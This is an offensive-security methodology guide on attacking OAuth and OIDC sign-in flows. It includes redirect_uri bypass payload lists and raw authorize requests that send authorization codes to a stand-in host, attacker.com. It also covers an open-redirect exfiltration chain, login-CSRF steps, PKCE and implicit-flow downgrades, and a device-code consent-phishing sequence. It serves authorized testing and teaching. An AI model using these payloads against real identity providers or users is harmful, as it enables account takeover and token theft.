Attacking OAuth and OIDC
OAuth is a delegation protocol whose security lives entirely in parameters the
browser forwards — redirect_uri, state, and scope — so most breaks are the
authorization server or the client trusting one of those a little too much. The
token is the prize; the flow is the attack surface. Follow the redirect that
carries the code, and you follow the credential.
Only against systems you are authorized to test.
When to Use
- A login page offers "Sign in with Google / Microsoft / GitHub / Apple" or any federated identity button
- You see
/authorize,/oauth/token,/oauth2/authorize, or a callback URL carryingcode=,state=, or#access_token= - Requests contain
response_type,redirect_uri,client_id,scope, ornonce - An OIDC discovery document is served at
/.well-known/openid-configuration - The app exchanges an authorization code server-side for tokens, or accepts an
id_tokento establish a session - A first-party SPA or mobile app runs the authorization-code-with-PKCE flow
When NOT to Use
- Forging, cracking, or tampering with the issued token itself (alg confusion,
kidinjection, weak HMAC secret,none) — useattacking-jwt - General web application testing unrelated to the auth flow — use
testing-web-applications - The resource API after you already hold a valid access token — use
testing-apis - Entra/Azure AD tenant consent, app registration abuse, and multi-tenant app
attacks specifically — use
attacking-entra-id - The human side — running consent-phishing or illicit-grant campaigns at
scale against real users — use
performing-social-engineering
Enumerate the Server: Discovery Document First
The OIDC discovery document hands you the entire attack map — every endpoint, the supported flows, and the key set.
curl -s https://target/.well-known/openid-configuration | jq .
# Also try, per-tenant / per-realm:
# https://target/.well-known/oauth-authorization-server
# https://login.target/<tenant>/v2.0/.well-known/openid-configuration
# https://target/auth/realms/<realm>/.well-known/openid-configuration (Keycloak)
Read these fields specifically:
authorization_endpoint,token_endpoint,userinfo_endpoint— the flowjwks_uri— the keys that validateid_tokens (feedsattacking-jwt)response_types_supported— istokenorid_token token(implicit) allowed? Iscodethe only option, or can you downgrade?grant_types_supported— isimplicit,password, orurn:ietf:params:oauth:grant-type:device_codepresent?code_challenge_methods_supported— if absent, PKCE may not be enforcedscopes_supported,claims_supported— the escalation menu
Pull the client bundle too: SPA JavaScript almost always inlines the
client_id, the configured redirect_uri, and the scope list.
redirect_uri Validation: The Core Break
Everything hinges on where the authorization server is willing to send the code. If you can make it send the code to a host you control, the flow is over. Work through the validation weaknesses — a permissive registration or a prefix/substring match instead of an exact match is the standard finding.
Registered: https://app.example.com/callback
Path traversal / appended path (prefix match, not exact)
https://app.example.com/callback/../../attacker
https://app.example.com/callback/anything (allowed if it startswith-checks)
https://app.example.com/callback.attacker.com/
Subdomain / domain-suffix weakness (regex or "endswith" match)
https://attacker.app.example.com/callback
https://app.example.com.attacker.com/callback
https://appXexample.com/callback (unescaped . in regex)
Parser confusion — validator and browser disagree on the host
https://attacker.com\@app.example.com/callback
https://app.example.com@attacker.com/callback
https://attacker.com%2F@app.example.com/
https://attacker.com#@app.example.com/
https://attacker.com%23.app.example.com/
Scheme / userinfo / whitespace
http://app.example.com/callback (downgrade to plaintext)
https://app.example.com%00.attacker.com/callback
///attacker.com/callback //attacker.com/callback
localhost is frequently allow-listed with no port check
http://localhost:1337/callback http://127.0.0.1/callback
http://localhost.attacker.com/callback
An authorize request pointing the code at your host:
GET /authorize?response_type=code
&client_id=REAL_CLIENT_ID
&redirect_uri=https://attacker.com/callback
&scope=openid%20email%20profile
&state=xyz HTTP/1.1
Host: login.target
If that returns a code to attacker.com, you exchange it (or the victim's
browser delivers theirs). Also test each place redirect_uri is read — the
authorize request, the token exchange, and any stored per-client default — because
some servers validate strictly at /authorize and loosely at /token, or vice
versa.
Open Redirector as Exfil Channel
When redirect_uri must stay on the real domain, an open redirect on that
domain becomes the exfiltration path: the server sends the code to the
allow-listed host, which 302s it — and the code in the query string, or the
whole fragment — onward to you.
redirect_uri=https://app.example.com/redirect?next=https://attacker.com/
# code lands on app.example.com, its open redirect forwards it (and often the
# ?code=... query, via Referer or an explicit passthrough) to attacker.com
Chase any next=, returnUrl=, RelayState=, or continue= parameter on the
allow-listed origin. This is the reason an "exact redirect_uri match" that ends
on your own domain is still not safe.
state: CSRF on the Callback
state is OAuth's CSRF token. If it is absent, static, predictable, or not
verified on return, an attacker stitches their authorization code onto the
victim's session — the login-CSRF / account-injection attack.
1. Attacker starts the flow, captures their own code but does NOT complete it.
2. Attacker delivers the callback to the victim:
https://app.example.com/callback?code=ATTACKER_CODE (no/ignored state)
3. Victim's browser completes it; victim's account is now linked to the
attacker's identity provider account -> attacker logs in as the victim.
Test: remove state entirely, replay a state from a previous flow, and change
one character of the returned state. If the callback still completes, it is not
being verified. nonce gets the same treatment in OIDC — its job is replay
protection on the id_token.
PKCE: Absence and Downgrade
PKCE binds the code to the client that requested it, defeating code interception. Public clients (SPA, mobile) that skip it are exposed to any attacker who grabs the code from a redirect, referer, or intercepting app.
# Authorize with a challenge:
GET /authorize?...&code_challenge=BASE64URL(SHA256(verifier))&code_challenge_method=S256
Checks:
- Omit code_challenge entirely -> does /token still return a token? (not enforced)
- Send code_challenge_method=plain with challenge == verifier (downgrade)
- Exchange the code with the WRONG code_verifier -> is it accepted? (not verified)
- Reuse the same verifier across two flows
If a code obtained under one flow can be redeemed without the matching verifier, PKCE is decorative.
Implicit Flow: Token Leakage
response_type=token / id_token token returns the token in the URL
fragment, which leaks through browser history, Referer headers on
subresource loads, and any JavaScript on the callback page.
GET /authorize?response_type=token&client_id=...&redirect_uri=https://app.example.com/cb
# -> 302 to https://app.example.com/cb#access_token=ya29...&token_type=Bearer
Force implicit even where code flow is expected (response_type=token), and pair
it with a redirect_uri or open-redirect weakness — the fragment rides along and
the token exfiltrates. Prefer reporting a downgrade-to-implicit as high severity:
it turns a fragment into a bearer credential in the URL bar.
Code Injection, Replay, and Cross-Client Substitution
The authorization code is single-use and client-bound in a correct implementation. Test all three properties.
- Replay — redeem the same
codetwice at/token. The second attempt must fail; a token on the second try means codes are not invalidated. - Injection — inject a code obtained in your own session into the victim's
callback (the
state-less attack above), or inject the victim's leaked code into your session to log in as them. - Cross-client substitution — obtain a code issued for
client_id=Aand redeem it at/tokenwithclient_id=B(both apps on the same authorization server). If the server does not bind the code to the issuing client, a code minted for a low-value app buys tokens for a high-value one.
POST /oauth/token HTTP/1.1
Host: login.target
Content-Type: application/x-www-form-urlencoded
grant_type=authorization_code&code=VICTIM_OR_OTHER_CLIENT_CODE
&redirect_uri=https://app.example.com/callback
&client_id=DIFFERENT_CLIENT_ID&client_secret=...
Scope Escalation and Consent Bypass
Add scopes to the authorize request and see whether the server grants them without a fresh consent prompt — especially on re-authorization, where many servers skip consent for an already-authorized client and silently attach the new scopes.
# Request more than the app normally asks for:
scope=openid email profile offline_access admin read:all
Check: does offline_access (a long-lived refresh token) get granted silently?
Are scopes the client never requested honored if you inject them? Does the
returned token's actual scope exceed what was consented? Downgrade attacks matter
too — a first authorization with narrow scope, then a silent re-auth widening it.
response_mode / response_type Confusion
Mixing response parameters can move a token to a place validation does not cover or downgrade the flow.
response_mode=form_post -> token delivered in a POST body (bypasses fragment
handling and some referer protections)
response_mode=web_message -> token posted via postMessage; test the target-origin
check for a wildcard or missing origin validation
response_type=code%20token / code%20id_token -> hybrid flow; a code AND a
front-channel token, doubling the leak surface
access_token vs id_token Confusion
The access_token is for calling the resource API; the id_token is proof of
authentication for the client. Backends routinely confuse them.
- A resource server that accepts an
id_tokenas a bearer token (because both are JWTs) trusts a token the client should never present to it. - A client that authenticates a session from an
access_token— an opaque or loosely-validated string — instead of a properly validatedid_tokencan be fed a token minted for a different audience. - The token endpoint returns both; try each at every consumer and watch which are accepted where they should not be.
id_token Validation Flaws
The client must validate the id_token signature against jwks_uri and the
claims. Missing claim checks are the account-takeover path.
issnot checked — a token from a different (attacker-controlled) issuer is accepted.audnot checked — a token minted for another client on the same IdP (Google, Microsoft) is replayed here. This is the classic multi-tenant/social IdP takeover.azp(authorized party) ignored on multi-audience tokens.exp/noncenot enforced — replay of an old or captured token.
The signature-side attacks — alg:none, alg HS256/RS256 confusion, kid
injection, jku/x5u pointing at attacker keys — are in attacking-jwt.
Fetch jwks_uri from discovery and hand it off there.
"Sign in with X" Account Takeover via Email Trust
The highest-yield federation bug: a client that links or creates accounts by the email claim, trusting it as a verified unique key.
- Provider returns
emailwithoutemail_verified, or the client ignoresemail_verified— sign up at an IdP with the victim's email (unverified) and the client links you to their account. - The client matches an existing local account by email and federates it — pre-hijack or takeover by registering the same email at a permissive provider.
- Multiple IdP buttons ("Google" and "GitHub") both keyed on email — log in via the provider where you can control an unverified email matching the victim.
Always inspect the userinfo / id_token claims actually returned and whether
email_verified is present and enforced before any account link.
Device Code Flow and Consent Phishing (Illicit Grant)
The device authorization grant (urn:ietf:params:oauth:grant-type:device_code)
and the plain consent screen are the phishing surface: the attacker starts a
flow, gets a user_code / verification URL, and induces the victim to approve
it — yielding tokens to the attacker with no fake login page.
POST /oauth/device/code client_id=REAL_CLIENT_ID&scope=openid%20offline_access
# -> device_code, user_code, verification_uri
# Victim visits the REAL verification_uri, enters the code, approves ->
POST /oauth/token grant_type=...device_code&device_code=...&client_id=...
# attacker polls and receives access + refresh tokens
The victim sees the genuine provider consent page — that is what makes it
effective. Running this against real users at scale is a
performing-social-engineering engagement; for Entra-specific illicit consent
grants (malicious multi-tenant apps), use attacking-entra-id.
Rationalizations to Reject
- "redirect_uri is validated against an allow-list." Exact match or prefix?
Test traversal, subdomain suffix,
@/%2F/#parser tricks, and an open redirector on the allow-listed host. - "We use the authorization code flow, not implicit — it's safe." Codes leak,
replay, and cross clients. And check whether
response_type=tokenstill works. - "state is optional; the SDK handles CSRF." Remove it and see. A callback that
completes without a verified
stateis account-injectable. - "PKCE is configured." Configured is not enforced. Omit the challenge, send a
wrong verifier, downgrade to
plain. - "It's a JWT from Google, so it's trusted." Trusted for which
aud? A token minted for another client is a takeover if you don't check the audience. - "We match users by email — email is unique." Only if
email_verifiedis present and enforced. Unverified email is attacker-chosen. - "The consent screen is the real provider's, so it's legitimate." Device-code and illicit-grant phishing rely on exactly that genuine screen.
ATT&CK Coverage
Generated from secskills-core/ttp-index.json — edit that file, then run
python3 scripts/sync_attack.py --write. Re-verify IDs against the
current ATT&CK release before citing them in a report.
Credential Access (TA0006)
- T1528 Steal Application Access Token — see also
testing-apis,exploiting-cloud-platforms,attacking-entra-id - T1606 Forge Web Credentials — see also
attacking-jwt
Detection content for any of these: engineering-detections. Proactive search: hunting-threats. Post-compromise: responding-to-incidents.
References
attacking-jwt— forging, cracking, and validation-bypassing theid_token/access_tokenonce you have it (alg confusion,kid,jku, weak secret)testing-web-applications— the app surrounding the login flowtesting-apis— exercising the resource server once you hold a tokenattacking-entra-id— Entra/Azure tenant consent, app registration, and multi-tenant illicit-grant abusereporting-security-findings— severity for redirect_uri, state, and account-takeover findings- Burp Suite (Repeater for authorize/token requests, browser proxy for the full
redirect chain); the OAuth-focused Burp extensions — EsPReSSO and the JWT
editors for decoding front-channel tokens; mitmproxy for capturing the fragment
and cross-origin
postMessagetraffic that Burp's HTTP history misses